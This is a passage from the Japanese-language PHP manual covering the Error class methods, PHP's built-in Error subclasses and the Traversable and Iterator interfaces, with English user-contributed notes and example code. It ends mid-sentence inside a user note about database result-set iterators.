エラーコードを int 型として返します

例

例1 Error::getCode() の例

<?php
try {
    throw new Error("Some error message", 30);
} catch(Error $e) {
    echo "The Error code is: " . $e->getCode();
}
?>

上の例の出力は、 たとえば以下のようになります。

The Error code is: 30

参考

  • Throwable::getCode() - 例外コードを取得する

User Contributed Notes

There are no user contributed notes for this page.


エラーが起きたファイルを取得する

  • ≪ Error::getCode
  • Error::getLine ≫
  • PHP Manual
  • Error
  • エラーが起きたファイルを取得する

Error::getFile

(PHP 7, PHP 8)

Error::getFile — エラーが起きたファイルを取得する

説明

final public Error::getFile ( ) : string

エラーが起きたファイル名を取得します

パラメータ

この関数にはパラメータはありません。

返り値

エラーが起きたファイル名を返します

例

例1 Error::getFile() の例

<?php
try {
    throw new Error;
} catch(Error $e) {
    echo $e->getFile();
}
?>

上の例の出力は、 たとえば以下のようになります。

/home/bjori/tmp/ex.php

参考

  • Throwable::getFile() - オブジェクトが作られたファイル名を取得する

User Contributed Notes

There are no user contributed notes for this page.


エラーが起きた行番号を取得する

  • ≪ Error::getFile
  • Error::getTrace ≫
  • PHP Manual
  • Error
  • エラーが起きた行番号を取得する

Error::getLine

(PHP 7, PHP 8)

Error::getLine — エラーが起きた行番号を取得する

説明

final public Error::getLine ( ) : int

エラーが起きた行番号を取得します

パラメータ

この関数にはパラメータはありません。

返り値

エラーが起きた行番号を返します

例

例1 Error::getLine() の例

<?php
try {
    throw new Error("Some error message");
} catch(Error $e) {
    echo "The error was created on line: " . $e->getLine();
}
?>

上の例の出力は、 たとえば以下のようになります。

The error was created on line: 3

参考

  • Throwable::getLine() - オブジェクトのインスタンスが作られた行番号を取得する

User Contributed Notes

There are no user contributed notes for this page.


スタックトレースを取得する

  • ≪ Error::getLine
  • Error::getTraceAsString ≫
  • PHP Manual
  • Error
  • スタックトレースを取得する

Error::getTrace

(PHP 7, PHP 8)

Error::getTrace — スタックトレースを取得する

説明

final public Error::getTrace ( ) : array

スタックトレースを返します

パラメータ

この関数にはパラメータはありません。

返り値

スタックトレースを array として返します

例

例1 Error::getTrace() の例

<?php
function test() {
 throw new Error;
}

try {
 test();
} catch(Error $e) {
 var_dump($e->getTrace());
}
?>

上の例の出力は、 たとえば以下のようになります。

array(1) {
  [0]=>
  array(4) {
    ["file"]=>
    string(22) "/home/bjori/tmp/ex.php"
    ["line"]=>
    int(7)
    ["function"]=>
    string(4) "test"
    ["args"]=>
    array(0) {
    }
  }
}

参考

  • Throwable::getTrace() - スタックトレースを取得する

User Contributed Notes

There are no user contributed notes for this page.


スタックトレースを文字列として取得する

  • ≪ Error::getTrace
  • Error::__toString ≫
  • PHP Manual
  • Error
  • スタックトレースを文字列として取得する

Error::getTraceAsString

(PHP 7, PHP 8)

Error::getTraceAsString — スタックトレースを文字列として取得する

説明

final public Error::getTraceAsString ( ) : string

スタックトレースを文字列として返します

パラメータ

この関数にはパラメータはありません。

返り値

スタックトレースを文字列として返します

例

例1 Error::getTraceAsString() の例

<?php
function test() {
    throw new Error;
}

try {
    test();
} catch(Error $e) {
    echo $e->getTraceAsString();
}
?>

上の例の出力は、 たとえば以下のようになります。

#0 /home/bjori/tmp/ex.php(7): test()
#1 {main}

参考

  • Throwable::getTraceAsString() - スタックトレースを文字列として取得する

User Contributed Notes

There are no user contributed notes for this page.


エラーの文字列表現

  • ≪ Error::getTraceAsString
  • Error::__clone ≫
  • PHP Manual
  • Error
  • エラーの文字列表現

Error::__toString

(PHP 7, PHP 8)

Error::__toString — エラーの文字列表現

説明

public Error::__toString ( ) : string

エラーの string 型の表現を返します

パラメータ

この関数にはパラメータはありません。

返り値

エラーの string 型の表現を返します

例

例1 Error::__toString() の例

<?php
try {
    throw new Error("Some error message");
} catch(Error $e) {
    echo $e;
}
?>

上の例の出力は、 たとえば以下のようになります。

Error: Some error message in /home/bjori/tmp/ex.php:3
Stack trace:
#0 {main}

参考

  • Throwable::__toString() - スローされたオブジェクトの文字列表現を取得する

User Contributed Notes

There are no user contributed notes for this page.


エラーをクローンする

  • ≪ Error::__toString
  • ArgumentCountError ≫
  • PHP Manual
  • Error
  • エラーをクローンする

Error::__clone

(PHP 7, PHP 8)

Error::__clone — エラーをクローンする

説明

final private Error::__clone ( ) : void

エラーはクローンできないので、このメソッドは fatal エラーとなります。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

エラー / 例外

エラーはクローン可能ではありません。

User Contributed Notes

There are no user contributed notes for this page.


ArgumentCountError

(PHP 7 >= PHP 7.1.0, PHP 8)

はじめに

ArgumentCountError は、 ユーザー定義の関数あるいはメソッドに渡された引数が少なすぎる場合にスローされます。

クラス概要

ArgumentCountError extends TypeError {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public Error::getMessage ( ) : string
final public Error::getPrevious ( ) : Throwable
final public Error::getCode ( ) : mixed
final public Error::getFile ( ) : string
final public Error::getLine ( ) : int
final public Error::getTrace ( ) : array
final public Error::getTraceAsString ( ) : string
public Error::__toString ( ) : string
final private Error::__clone ( ) : void
}

User Contributed Notes

T7To7 31-Mar-2018 01:01
Note if an invalid number of arguments are passed to a built-in function an ArgumentCountError exception will be thrown if and only if your code is in strict mode.

<?php
declare(strict_types = 1);

try {
    echo strlen('ahmed', 4);
} catch (ArgumentCountError $e) {
    echo $e->getMessage()';
}
?>


ArithmeticError

(PHP 7, PHP 8)

はじめに

ArithmeticError は、数学的な操作でエラーが発生した場合にスローされます。 たとえばマイナスのビットシフトを行おうとした場合などに発生します。 また、結果が int の範囲をこえてしまうような intdiv() の呼び出しの際にも発生します。

クラス概要

ArithmeticError extends Error {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public Error::getMessage ( ) : string
final public Error::getPrevious ( ) : Throwable
final public Error::getCode ( ) : mixed
final public Error::getFile ( ) : string
final public Error::getLine ( ) : int
final public Error::getTrace ( ) : array
final public Error::getTraceAsString ( ) : string
public Error::__toString ( ) : string
final private Error::__clone ( ) : void
}

User Contributed Notes

nima dot shirinzadeh at gmail dot com 12-Oct-2020 05:45
the first example shifted by the positive number and the result is 4, but the second example shifted by the negative number and the result is ArithmeticError(this example is the same for left shift)
<?php

 $shif =1;
 $number = 8;
 $result =  $number >> $shif;
 echo $result; //// 1000 >> 01000 = 4

$shif =-1;
 $number = 8;
 $result =  $number >> $shif;
 ////result is ArithmeticError
?>


AssertionError

(PHP 7, PHP 8)

はじめに

AssertionError は、assert() によるアサーションが失敗したときにスローされます。

クラス概要

AssertionError extends Error {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public Error::getMessage ( ) : string
final public Error::getPrevious ( ) : Throwable
final public Error::getCode ( ) : mixed
final public Error::getFile ( ) : string
final public Error::getLine ( ) : int
final public Error::getTrace ( ) : array
final public Error::getTraceAsString ( ) : string
public Error::__toString ( ) : string
final private Error::__clone ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


DivisionByZeroError

(PHP 7, PHP 8)

はじめに

DivisionByZeroError は、数値をゼロで割ろうとした場合にスローされます。

クラス概要

DivisionByZeroError extends ArithmeticError {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public Error::getMessage ( ) : string
final public Error::getPrevious ( ) : Throwable
final public Error::getCode ( ) : mixed
final public Error::getFile ( ) : string
final public Error::getLine ( ) : int
final public Error::getTrace ( ) : array
final public Error::getTraceAsString ( ) : string
public Error::__toString ( ) : string
final private Error::__clone ( ) : void
}

User Contributed Notes

8ctopus 03-Dec-2020 08:21
Use of arithmetic operator / does not throw an exception in php 7, while it does in php 8.

<?php

try {
    echo intdiv(2, 0);
} catch (DivisionByZeroError $e) {
    echo "Caught DivisionByZeroError!\n";
}

try {
    echo (2 / 0);
} catch (DivisionByZeroError $e) {
    echo "Caught DivisionByZeroError!\n";
}
?>

# php 7
$ php test.php
caught division by zero for intdiv()
PHP Warning:  Division by zero in test.php on line 10
PHP Stack trace:
PHP   1. {main}() test.php:0

Warning: Division by zero in test.php on line 10

Call Stack:
    0.0740     417272   1. {main}() test.php:0

# php 8
$ php test.php

caught division by zero for intdiv()
caught division by zero for /
Alex 08-May-2019 08:55
This error is thrown only for integer division - this is when using "intdiv" function or "%" operator. In all cases you will get an E_WARNING when dividing by zero.
salsi at icosaedro dot it 01-Mar-2016 05:27
Note that on division by zero 1/0 and module by zero 1%0 an E_WARNING is triggered first (probably for backward compatibility with PHP5), then the DivisionByZeroError exception is thrown next.

The result is, for example, that if you set the maximum level of error detection with error_level(-1) and you also map errors to exception, say ErrorException, then on division by zero only this latter exception is thrown reporting "Division by zero". The result is that a code like this:

<?php
// Set a safe environment:
error_reporting(-1);

// Maps errors to ErrorException.
function my_error_handler($errno, $message)
{ throw new ErrorException($message); }

try {
    echo 1/0;
}
catch(ErrorException $e){
    echo "got $e";
}
?>

allows to detect such error in the same way under PHP5 and PHP7, although the DivisionByZeroError exception is masked off by ErrorException.
Manjunath 14-Dec-2015 10:15
<?php
class MathOperation extends Error
{
    protected $n = 10;

    // Try to get the Division by Zero error object and display as Exception
    public function doArithmeticOperation(): string
    {
        try {
            $value = $this->n % 0;
        } catch (DivisionByZeroError $e) {
            return $e->getMessage();
        }
    }
}

$mathOperationObj = new MathOperation();
echo $mathOperationObj->doArithmeticOperation();


CompileError

(PHP 7 > 7.3.0, PHP 8)

はじめに

CompileError は コンパイルエラーが起きた時にスローされます。 以前は fatal error が発生していました。

クラス概要

CompileError extends Error {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public Error::getMessage ( ) : string
final public Error::getPrevious ( ) : Throwable
final public Error::getCode ( ) : mixed
final public Error::getFile ( ) : string
final public Error::getLine ( ) : int
final public Error::getTrace ( ) : array
final public Error::getTraceAsString ( ) : string
public Error::__toString ( ) : string
final private Error::__clone ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


ParseError

(PHP 7, PHP 8)

はじめに

ParseError は、eval() を呼んだときなどの PHP コードのパースに失敗した場合にスローされます。

注意: PHP 7.3.0 以降は、ParseError クラスは CompileError クラスを継承するようになりました。 以前のバージョンでは、Error を継承していました。

クラス概要

ParseError extends CompileError {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public Error::getMessage ( ) : string
final public Error::getPrevious ( ) : Throwable
final public Error::getCode ( ) : mixed
final public Error::getFile ( ) : string
final public Error::getLine ( ) : int
final public Error::getTrace ( ) : array
final public Error::getTraceAsString ( ) : string
public Error::__toString ( ) : string
final private Error::__clone ( ) : void
}

User Contributed Notes

andrian dot test dot job at gmail dot com 22-Nov-2019 09:58
<?php
/*
* The function eval() evaluate his argument as an instruction PHP
* Then the argument must respect the standar of PHP codage
* In this example the semicolon are missign
*/

try{

    eval("echo 'toto' echo 'tata'");

}catch(ParseError $p){

    echo $p->getMessage();
}

/*
* If you run this code the result is different of the result of above code
* PHP will output the standar parse Error: syntax error, ....
*

eval("echo 'toto' echo 'tata'");

*/


TypeError

(PHP 7, PHP 8)

はじめに

TypeError がスローされるのは、以下の三つの場合です。 まず、関数に渡された引数の型が、関数の宣言時に指定された型と一致しない場合。 次に、関数の戻り値の型が、関数の宣言時に指定された型と一致しない場合。 そして、PHP 組み込みの関数に渡す引数の数を間違えた場合 (これは、strict モードの場合に限ります)。

クラス概要

TypeError extends Error {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public Error::getMessage ( ) : string
final public Error::getPrevious ( ) : Throwable
final public Error::getCode ( ) : mixed
final public Error::getFile ( ) : string
final public Error::getLine ( ) : int
final public Error::getTrace ( ) : array
final public Error::getTraceAsString ( ) : string
public Error::__toString ( ) : string
final private Error::__clone ( ) : void
}

User Contributed Notes

andrian dot test dot job at gmail dot com 22-Nov-2019 09:47
declare(strict_types=1); //if without this line the result is different

$a = [1,2=>[3,4]];

try{

    count($a, COUNT_RECURSIVE, 'toto and blabla');

}catch(TypeError $e){

    echo $e->getMessage();

}
celsowmbr at outlook dot com 02-Apr-2019 03:49
An example:

<?php

function test($x):int {
    return $x;
}

try {
    test('ss');
}catch(TypeError $e){
    echo "Error !";
}


ValueError

(PHP 8)

はじめに

ValueError は、 引数の型は正しいものの、値が正しくない場合にスローされます。 たとえば、関数は正の整数を期待しているのに負の値を渡したり、 空でない文字列/配列を期待しているのに空の値を渡したりした場合です。

クラス概要

ValueError extends Error {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public Error::getMessage ( ) : string
final public Error::getPrevious ( ) : Throwable
final public Error::getCode ( ) : mixed
final public Error::getFile ( ) : string
final public Error::getLine ( ) : int
final public Error::getTrace ( ) : array
final public Error::getTraceAsString ( ) : string
public Error::__toString ( ) : string
final private Error::__clone ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


UnhandledMatchError

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

はじめに

UnhandledMatchError は、 match 式がどの分岐でも処理できなかったことを検知した場合にスローされます。

クラス概要

UnhandledMatchError extends Error {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public Error::getMessage ( ) : string
final public Error::getPrevious ( ) : Throwable
final public Error::getCode ( ) : mixed
final public Error::getFile ( ) : string
final public Error::getLine ( ) : int
final public Error::getTrace ( ) : array
final public Error::getTraceAsString ( ) : string
public Error::__toString ( ) : string
final private Error::__clone ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


定義済みのインターフェイスとクラス

目次

  • Traversable
  • Iterator
  • IteratorAggregate
  • Throwable
  • ArrayAccess
  • Serializable
  • Closure
  • Generator
  • WeakReference

SPL インターフェイス および 定義済のクラス も参照ください。

User Contributed Notes

articice at ua dot fm 01-Jul-2015 03:24
Note that PHP extensions also provide interfaces you can implement, for example JsonSerializable.
Here is the full list http://php.net/manual/en/refs.basic.other.php


Traversable インターフェイス

(PHP 5, PHP 7, PHP 8)

はじめに

そのクラスの中身が foreach を使用してたどれるかどうかを検出するインターフェイスです。

これは抽象インターフェイスであり、単体で実装することはできません。 IteratorAggregate あるいは Iterator を実装しなければなりません。

注意:

このインターフェイスを実装した内部クラス (組み込みクラス) は foreach で使用することができます。 IteratorAggregate や Iterator を実装する必要はありません。

注意:

これは内部エンジンのインターフェイスであり、PHP スクリプト内で実装することはできません。 そのかわりに IteratorAggregate あるいは Iterator を使用しなければなりません。 Traversable を継承したインターフェイスを実装するときは、 implements 句の中でそのインターフェイスより前に IteratorAggregate か Iterator を指定しておきましょう。

インターフェイス概要

Traversable {
}

このインターフェイスにはメソッドがありません。 traverse 可能なすべてのクラス用の基底インターフェイスとしてのみ存在しています。

User Contributed Notes

alan dot bem at gmail dot com 21-Sep-2018 08:27
Actually you can use `Traversable` within your php scripts - you can use it to enforce iterability on user-land objects.

<?php

interface Stream implements \Traversable {}

class InMemoryStream implements IteratorAggregate, Stream
{
    public function getIterator() {}
}

$stream = new InMemoryStream();
?>

In case you'd forgot about implementing `IteratorAggregate` or `Iterator` interfaces, fatal error will be raised when instantiating objects in question.

<?php

interface Stream implements \Traversable {}

class InMemoryStream implements Stream {}

$stream = new InMemoryStream(); // Fatal error: Class InMemoryStream must implement interface Traversable as part of either Iterator or IteratorAggregate in Unknown on line 0
?>
douglas at reith dot com dot au 26-Jun-2017 08:09
The PHP7 iterable pseudo type will match both Traversable and array. Great for return type-hinting so that you do not have to expose your Domain to Infrastructure code, e.g. instead of a Repository returning a Cursor, it can return hint 'iterable':
<?php
UserRepository::findUsers(): iterable
?>

Link: http://php.net/manual/en/migration71.new-features.php#migration71.new-features.iterable-pseudo-type

Also, instead of:
<?php
    if( !is_array( $items ) && !$items instanceof Traversable )
        //Throw exception here
?>

You can now do with the is_iterable() method:
<?php
    if ( !is_iterable( $items ))
        //Throw exception here
?>

Link:  http://php.net/manual/en/function.is-iterable.php
cobaltbluedw 30-Dec-2015 09:50
NOTE:  While objects and arrays can be traversed by foreach, they do NOT implement "Traversable", so you CANNOT check for foreach compatibility using an instanceof check.

Example:

$myarray = array('one', 'two', 'three');
$myobj = (object)$myarray;

if ( !($myarray instanceof \Traversable) ) {
    print "myarray is NOT Traversable";
}
if ( !($myobj instanceof \Traversable) ) {
    print "myobj is NOT Traversable";
}

foreach ($myarray as $value) {
    print $value;
}
foreach ($myobj as $value) {
    print $value;
}

Output:
myarray is NOT Traversable
myobj is NOT Traversable
one
two
three
one
two
three
ajf at ajf dot me 23-Dec-2014 12:22
Note that all objects can be iterated over with foreach anyway and it'll go over each property. This just describes whether or not the class implements an iterator, i.e. has custom behaviour.
kevinpeno at gmail dot com 02-Aug-2010 10:06
While you cannot implement this interface, you can use it in your checks to determine if something is usable in for each. Here is what I use if I'm expecting something that must be iterable via foreach.

<?php
    if( !is_array( $items ) && !$items instanceof Traversable )
        //Throw exception here
?>


Iterator インターフェイス

(PHP 5, PHP 7, PHP 8)

はじめに

外部のイテレータあるいはオブジェクト自身から反復処理を行うためのインターフェイスです。

インターフェイス概要

Iterator extends Traversable {
/* メソッド */
abstract public current ( ) : mixed
abstract public key ( ) : scalar
abstract public next ( ) : void
abstract public rewind ( ) : void
abstract public valid ( ) : bool
}

定義済みのイテレータ

PHP には多くのイテレータがあらかじめ用意されており、日々の作業に使えます。その一覧は SPL イテレータ を参照ください。

例

例1 基本的な使用法

この例は、イテレータで foreach を使ったときに、どんな順番でメソッドが呼ばれるかを示すものです。

<?php
class myIterator implements Iterator {
    private $position = 0;
    private $array = array(
        "firstelement",
        "secondelement",
        "lastelement",
    );

    public function __construct() {
        $this->position = 0;
    }

    public function rewind() {
        var_dump(__METHOD__);
        $this->position = 0;
    }

    public function current() {
        var_dump(__METHOD__);
        return $this->array[$this->position];
    }

    public function key() {
        var_dump(__METHOD__);
        return $this->position;
    }

    public function next() {
        var_dump(__METHOD__);
        ++$this->position;
    }

    public function valid() {
        var_dump(__METHOD__);
        return isset($this->array[$this->position]);
    }
}

$it = new myIterator;

foreach($it as $key => $value) {
    var_dump($key, $value);
    echo "\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

string(18) "myIterator::rewind"
string(17) "myIterator::valid"
string(19) "myIterator::current"
string(15) "myIterator::key"
int(0)
string(12) "firstelement"

string(16) "myIterator::next"
string(17) "myIterator::valid"
string(19) "myIterator::current"
string(15) "myIterator::key"
int(1)
string(13) "secondelement"

string(16) "myIterator::next"
string(17) "myIterator::valid"
string(19) "myIterator::current"
string(15) "myIterator::key"
int(2)
string(11) "lastelement"

string(16) "myIterator::next"
string(17) "myIterator::valid"

目次

  • Iterator::current — 現在の要素を返す
  • Iterator::key — 現在の要素のキーを返す
  • Iterator::next — 次の要素に進む
  • Iterator::rewind — イテレータの最初の要素に巻き戻す
  • Iterator::valid — 現在位置が有効かどうかを調べる

User Contributed Notes

Andrew Roffey 09-Feb-2021 10:41
/**
 * Iterate  a directory tree by walking the tree. For each directory in
 * the tree rooted at directory $parent_dir (including $parent_dir
 * itself), it returns $dirpath => array($dirnames, $filenames).
 *
 * $dirpath is a string, the path to the directory. $dirnames is a list
 * of the names of the subdirectories in dirpath (excluding '.' and
 * '..'). $filenames is a list of the names of the non-directory files in
 * $dirpath.
 *
 * Inspired by Python os.walk; see
 * https://docs.python.org/3/library/os.html#os.walk
 * Implemented as an iterator rather than a generator.
 *
 * @return array
 */

class walker implements Iterator {
  private $parent_dir = '';
  private $d = 0; // iterator
  private $dirs = array(); // indexed by iterator
  private $dirstack;
  private $discovered = array(); // indexed by directory
  private $v; // current directory
  private $cur_dirnames = array(); // current subdirs
  private $cur_filenames = array(); // current files in directory

  public function __construct($parent_dir) {
    $this->parent_dir = $parent_dir;
    $this->d = 0;
    $this->dirs[$this->d] = $parent_dir;
    $this->dirstack = new SplStack();
    $this->dirstack->push($parent_dir);
    $this->discovered = array($parent_dir => true);
    $this->v = $parent_dir;
    $this->cur_dirnames = array();
    $this->cur_filenames = array();
    $this->next();
  }

  public function rewind() {
    $this->__construct($this->parent_dir);
  }

  public function current() {
    return array($this->cur_dirnames, $this->cur_filenames);
  }

  public function key() {
    return $this->v;
  }

  public function next() {
    ++$this->d;
    $this->v = $this->dirstack->pop();
    $this->dirs[$this->d] = $this->v;
    $this->cur_dirnames = array();
    $this->cur_filenames = array();
    if (!$dh = opendir($this->v)) {
      // opendir emits E_WARNING if unable to open directory, likely due
      // to a permissions issue or directory removed before we could get
      // there
      return;
    }
    // discover the directories, return directories and files
    while (false !== ($fn = readdir($dh))) {
      if ($fn != '.' && $fn !== '..') {
        $fullfn = $this->v . '/' . $fn;
        if (is_dir($fullfn)) {
      $this->cur_dirnames[] = $fn;
          if (!array_key_exists($fullfn, $this->discovered)) {
            $this->discovered[$fullfn] = true;
        $this->dirstack->push($fullfn);
      }
        } else {
          $this->cur_filenames[] = $fn;
        }
      }
    }
    closedir($dh);
  }

  public function valid() {
    return $this->dirstack->count();
  }
}

$tree = new walker("/tmp");
foreach ($tree as $parent_dir => $nodes) {
  $subdirs = $nodes[0];
  $files = $nodes[1];
  printf("%s\n", $parent_dir);
  if ($subdirs) printf("  %s\n", implode("/\n  ", $subdirs));
  if ($files) printf("  %s\n", implode("\n  ", $files));
  print("\n");
}
sofe2038 at gmail dot com 22-Jul-2020 03:26
The "scalar" restriction on key() is no longer true. A simple example is that Generators can yield non-scalar keys.
jeroen at asystance dot nl 16-Dec-2019 03:57
RocketInABog's seemingly trivial tIterator_array class has one huge problem (which just cost me a couple of hours).

Consider this example, using their class:
<?php
$values = ['one', 'two', 'three'];
foreach ($values as $v) {}
$current = current($values);
// $current === 'one', as you would expect

$iterator = new tIterator_array($values);
foreach ($iterator as $v) {}
$current = $iterator->current();    // do NOT use current($iterator) or key($iterator)!!!
// $current === false, but why?
?>
The problem is that foreach resets arrays, but doesn't call Iterator::rewind on objects!

I also think it's a design mistake that foreach works with Iterator, but current(), key() and end() don't - these iterate over the objects fields.

I just refactored some code to use an Iterator instead of an array, and it broke in several very unexpected ways because of these differences.
shaun at slickdesign dot com dot au 12-Dec-2018 03:09
With a large number of `current`, `next`, `key`, and `reset` array function implementations, care needs to be taken to ensure that deletions and nested loops are accounted for appropriately for each situation.

The following class has been copied from a previous comment and modified to allow it to be used within nested loops.

<?php
# Comment removed for brevity.

class tIterator_array implements Iterator {
  private $myArray;
  // Store each iteration in a separate array.
  private $iterations = [];
  private $i = -1;

  public function __construct( $givenArray ) {
    $this->myArray = $givenArray;
  }
  function rewind() {
    // Rewind is called at the start of the loop. This is where we can append the current array to start our new iteration.
    $this->iterations[] = $this->myArray;
    $this->i++;
    return reset( $this->iterations[ $this->i ] );
  }
  function current() {
    return current( $this->iterations[ $this->i ] );
  }
  function key() {
    return key( $this->iterations[ $this->i ] );
  }
  function next() {
    return next( $this->iterations[ $this->i ] );
  }
  function valid() {
    if ( null === $this->key() ) {
      // Standard valid check. When null is returned the loop has finished, so we decrement the index and remove the latest iteration.
      array_pop( $this->iterations );
      $this->i--;
      return false;
    }
    return true;
  }
}

// Example:
$a = new tIterator_array( [1, 2] );
foreach ( $a as $k => $v ) {
  echo " $k => $v:\n";
  foreach ( $a as $k => $v ) {
    echo "  $k => $v,\n";
  }
}
// Output:
# 0 => 1:
#  0 => 1,
#  1 => 2,
# 1 => 2:
#  0 => 1,
#  1 => 2,

?>
Anonymous 14-Feb-2016 12:51
An interesting fact that I didn't read in the doc:

the key() method is called only if your foreach loop needs it.

For instance, the following loop calls the key() method:

<?php
foreach($it as $key => $value) {
    var_dump($key, $value);
    echo "\n";
}
?>

But the following loop doesn't:

<?php
foreach($it as $value) {
    var_dump($value);
    echo "\n";
}
?>
Gilles A 04-Apr-2014 03:41
Examples of use
<?php
class myIterator implements Iterator
    {
    private
        $_array = array();
    public function __construct(array $array)
        {
        $this->_array = $array;
        }
    public function rewind()
        {
        reset($this->_array);
        }
    public function current()
        {
        return current($this->_array);
        }
    public function key()
        {
        return key($this->_array);
        }
    public function next()
        {
        next($this->_array);
        }
    public function valid()
        {
        return $this->key() !== null;
        }
    }

$it = new myIterator(array('foo_1' => 'bar_1','foo_2' => 'bar_2'));

//example 1 : foreach

foreach($it as $key => $value)
    {
    var_dump($key, $value);
    }

//example 2 : while

$it -> rewind();
while($it->valid())
    {
    var_dump($it->key(), $it->current());

    $it->next();
    }

//example 3 : for

for($it->rewind();$it->valid();$it->next())
    {
   var_dump($it->key(), $it->current());
    }
?>
Daniel Lo Nigro 23-Jun-2013 06:33
If you're using PHP 5.5 or above and are creating a simple iterator, consider using a generator function instead. There is significantly less boilerplate code and the code is easier to read. http://au1.php.net/generators
fetidfrog at gmail dot com 10-May-2012 03:11
If you have a custom iterator that may throw an exception in it's current() method, there is no way to catch the exception without breaking a foreach loop.

The following for loop allows you to skip elements for which $iterator->current() throws an exception, rather than breaking the loop.

<?php
for ($iterator->rewind(); $iterator->valid(); $iterator->next()) {
    try {
        $value = $iterator->current();
    } catch (Exception $exception) {
        continue;
    }

    # ...
}
?>
dwlnetnl at users dot sourceforge dot net 02-Oct-2011 02:06
Be aware that when you call a method like current($this) within the Iterator class, the properties of the class are returned and the Iterator's current() isn't called. This is because current() applies to arrays and the Iterator class is then interpretated as an array.
ct 28-Jul-2011 12:00
<?php

/*
 * An implementation of the Iterator
 * with simpleXML to remove a node and generate a new XML file.
 *
 * project.xml file:
 * <?xml version="1.0" encoding="UTF-8"?>
 * ...
 * <data>
 *  <item>
 *      <value>one</value>
 *  </item>
 *  <item>
 *      <value>two</value>
 *  </item>
 *  ...
 * </data>
 *
 */

class parseXML implements Iterator {

    private $position;
    private $xml;
    public $item;

    public function __construct() {

        $this->position = 0;
        $this->xml = simplexml_load_file('project.xml');

    }

    public function unsetItem() {

        foreach ($this as $key => $value) {

            if ($value->value == $this->item ) {

                unset($this->xml->data->item[$key]);

            }
        }

        $this->mkXML();
    }

    public function mkXML() {

        file_put_contents('project.xml', $this->xml->asXML() );

    }

    function rewind() {
        $this->position = 0;
    }

    function current() {
        return $this->xml->data->item[$this->position];
    }

    function key() {
        return $this->position;
    }

    function next() {
        ++$this->position;
    }

    function valid() {
        return isset($this->xml->data->item[$this->position]);
    }

}

$itemRemove = new parseXML();

$itemRemove->item = "one";

$itemRemove->unsetItem();

?>
geompse at gmail dot com 03-Jul-2011 06:43
Be carefull with Iterator when using nested loops or deleting items inside the collection while looping over it.
It can be tricky to detect.
This unexpected behavior is pertinent if you think about it long enough.

<?php

foreach($it as $key => $value)
    echo $value;
#output: value1, value2, value3

foreach($it as $key => $value)
    foreach($it as $key => $value)
        echo $value;
#output: value1, value2, value3

foreach($it as $key => $value)
    foreach(clone $it as $key => $value)
        echo $value;
#output: value1, value2, value3, value1, value2, value3, value1, value2, value3

foreach($it as $key => $value)
{
    echo $value;
    array_shift($it->values);
}
#ouput: value1, value3

?>
kent at marketacumen dot com 13-Dec-2010 01:15
For Iterators implement database queries, what I've found is that if you want to chain multiple iterators together using a "MultipleIterator" then you *do not* want ::rewind() to actually execute your query, especially if it's expensive.

Instead, what I've done is implement that portion in "valid."

e.g.

<?php
class Database_Result_Iterator {
    ...
    private $_db_resource = null;
    private $_loaded = false;
    private $_valid = false;

    function rewind() {
        if ($this->_db_resource) {
            mysql_free($this->_db_resource);
            $this->_db_resource = null;
        }
        $this->_loaded = false;
        $this->_valid = false;
    }

    function valid() {
        if ($this->_loaded) {
            $this->load();
        }
        return $this->_valid;
    }

    private function load() {
        $this->_db_resource = mysql_query(...);
        $this->_loaded = true;
        $this->next(); // Sets _valid
    }
}
?>

That way if you chain multiple queries in a "MultipleIterator" together, the "rewind" call (which rewinds all iterators at once) does not execute every query at once.

In addition, I found that the MultipleIterator may now work best for other reasons, but still, the above is a good idea to postpone queries until the last possible moment they are needed.
robert_e_lee at dell dot com 11-Mar-2010 10:08
Order of operations when using a foreach loop:

1. Before the first iteration of the loop, Iterator::rewind() is called.
2. Before each iteration of the loop, Iterator::valid() is called.
3a. It Iterator::valid() returns false, the loop is terminated.
3b. If Iterator::valid() returns true, Iterator::current() and
Iterator::key() are called.
4. The loop body is evaluated.
5. After each iteration of the loop, Iterator::next() is called and we repeat from step 2 above.

This is roughly equivalent to:

<?php
$it->rewind();

while ($it->valid())
{
    $key = $it->key();
    $value = $it->current();

    // ...

    $it->next();
}
?>

The loop isn't terminated until Iterator::valid() returns false or the body of the loop executes a break statement.

The only two methods that are always executed are Iterator::rewind() and Iterator::valid() (unless rewind throws an exception).

The Iterator::next() method need not return anything. It is defined as returning void. On the other hand, sometimes it is convenient for this method to return something, in which case you can do so if you want.

If your iterator is doing something expensive, like making a database query and iterating over the result set, the best place to make the query is probably in the Iterator::rewind() implementation.

In this case, the construction of the iterator itself can be cheap, and after construction you can continue to set the properties of the query all the way up to the beginning of the foreach loop since the
Iterator::rewind() method isn't called until then.

Things to keep in mind when making a database result set iterator:

* Make sure you close your cursor or otherwise clean up any previous query at the top of the rewind method. Otherwise your code will break if the same iterator is used in two consecutive foreach loops when the first loop terminates with a break statement before all the results are iterated over.

* Make sure your rewind() implementation tries to grab the first result so that the subsequent call to valid() will know whether or not the result set is empty. I do this by explicitly calling next() from the end of my rewind() implementation.

* For things like result set iterators, there really isn't always a "key" that you can return, unless you know you have a scalar primary key column in the query. Unfortunately, there will be cases where either the iterator doesn't know the primary key column because it isn't providing the query, the nature of the query is such that a primary key isn't applicable, the iterator is iterating over a table that doesn't have one, or the iterator is iterating over a table that has a compound primary key. In these cases, key() can return either:
